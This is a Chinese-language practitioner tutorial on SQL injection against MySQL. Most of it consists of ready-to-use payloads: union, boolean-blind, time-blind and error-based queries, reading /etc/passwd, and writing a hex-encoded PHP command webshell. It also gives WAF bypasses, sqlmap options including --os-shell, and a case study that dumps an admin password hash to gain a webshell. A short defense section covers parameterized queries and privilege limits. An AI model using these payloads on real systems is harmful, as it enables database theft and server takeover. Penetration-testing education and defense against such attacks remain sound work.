1. SQL注入攻击全流程解析
作为一名长期从事Web安全测试的从业者,我处理过上百个存在SQL注入漏洞的网站。今天我将用实战视角,完整拆解SQL注入的攻击流程和技术要点。不同于教科书式的理论讲解,这里分享的都是渗透测试中真正有效的技术手段。
SQL注入的本质是通过构造特殊输入,改变后端SQL语句的逻辑结构。根据不同的数据库类型和防护措施,攻击手法可分为联合查询注入、布尔盲注、时间盲注、报错注入等十余种变体。下面我将以MySQL数据库为例,演示从信息收集到获取数据的完整攻击链。
2. 攻击前期的信息收集工作
2.1 确定注入点位置
首先需要寻找可能存在注入漏洞的输入点,常见位置包括:
- URL参数(如?id=1)
- 表单输入框(搜索框、登录框)
- HTTP头部(User-Agent、Cookie)
- REST API参数
使用单引号'触发错误是最基础的检测方法。当页面返回数据库错误(如MySQL的语法错误)时,这个参数很可能存在注入漏洞。例如:
http://example.com/news.php?id=1'2.2 判断数据库类型
不同数据库的注入语法存在差异,需要通过特征判断:
- MySQL:
version()函数、/*!*/注释语法 - Oracle:
dual虚表、||连接符 - SQL Server:
@@version变量、waitfor delay语法
一个实用的技巧是在参数后添加/*随机字符串*/,如果被数据库执行说明是MySQL:
id=1/*test*/--3. 核心注入技术详解
3.1 联合查询注入(Union-Based)
这是最直接的注入方式,通过UNION合并恶意查询:
?id=1' union select 1,2,3--+关键步骤:
- 用ORDER BY确定列数
- 找到页面显示位(如2,3)
- 替换显示位获取数据:
?id=1' union select 1,database(),user()--+注意:MySQL5.0以上需要先获取information_schema结构,这是所有元数据的存储位置
3.2 布尔盲注(Boolean-Based)
当页面没有明显回显时,通过真假条件判断:
?id=1' and substring(database(),1,1)='a'--+通过二分法逐字符猜测,可以使用自动化工具加速:
if 'Welcome back' in response.text: return True3.3 时间盲注(Time-Based)
当页面无任何变化时,用延时函数判断:
?id=1' and if(ascii(substr(database(),1,1))>97,sleep(3),0)--+不同数据库的延时函数:
- MySQL:
sleep(3)、benchmark(1000000,md5('test')) - PostgreSQL:
pg_sleep(3) - SQL Server:
waitfor delay '0:0:3'
4. 高级利用技术
4.1 报错注入(Error-Based)
利用数据库报错回显信息:
?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+常用报错函数:
- MySQL:
extractvalue()、updatexml() - SQL Server:
convert()类型转换错误 - Oracle:
ctxsys.drithsx.sn()
4.2 文件读写操作
MySQL中需要满足secure_file_priv为空:
?id=1' union select 1,load_file('/etc/passwd'),3--+写Webshell(需绝对路径):
?id=1' into outfile '/var/www/html/shell.php' lines terminated by 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e--+4.3 绕过WAF技巧
常见绕过方法:
- 大小写混合:
SeLeCt - 注释分割:
SEL/*xxx*/ECT - 编码转换:
CHAR(115,101,108,101,99,116) - 等价替换:
||代替OR - 溢出攻击:超长字符串触发WAF失效
5. 自动化工具实战
5.1 SQLmap基础使用
最常用的自动化注入工具:
sqlmap -u "http://example.com?id=1" --batch --dbs高级参数:
--level:检测级别(1-5)--risk:风险等级(1-3)--os-shell:获取系统交互shell--file-read:读取服务器文件
5.2 自定义Tamper脚本
编写绕过脚本示例(base64encode.py):
from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): return payload.encode('base64').decode()6. 防御方案设计
6.1 代码层防护
- 预编译语句(PHP示例):
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$id]);- 严格类型转换:
int id = Integer.parseInt(request.getParameter("id"));6.2 架构层防护
- WAF规则配置(Nginx示例):
location / { set $block_sql_inject 0; if ($query_string ~ "union.*select.*\(") { set $block_sql_inject 1; } if ($block_sql_inject = 1) { return 403; } }6.3 运维层防护
- 数据库权限控制:
CREATE USER 'webuser'@'localhost' IDENTIFIED BY 'password'; GRANT SELECT ON app_db.* TO 'webuser'@'localhost'; REVOKE FILE ON *.* FROM 'webuser'@'localhost';7. 实战案例复盘
某次渗透测试中发现的时间盲注漏洞:
- 发现
/search.php?keyword=test存在延时响应 - 用二分法脚本爆破管理员密码hash
- 通过cmd5网站解密获得明文密码
- 登录后台获取webshell
关键payload:
keyword=test' AND IF(ASCII(SUBSTR((SELECT password FROM admin LIMIT 1),1,1))>50,SLEEP(3),0)--+这个案例告诉我们,即使没有明显错误回显,时间盲注仍然可能造成严重危害。建议开发者在所有用户输入处都使用参数化查询,这是最根本的解决方案。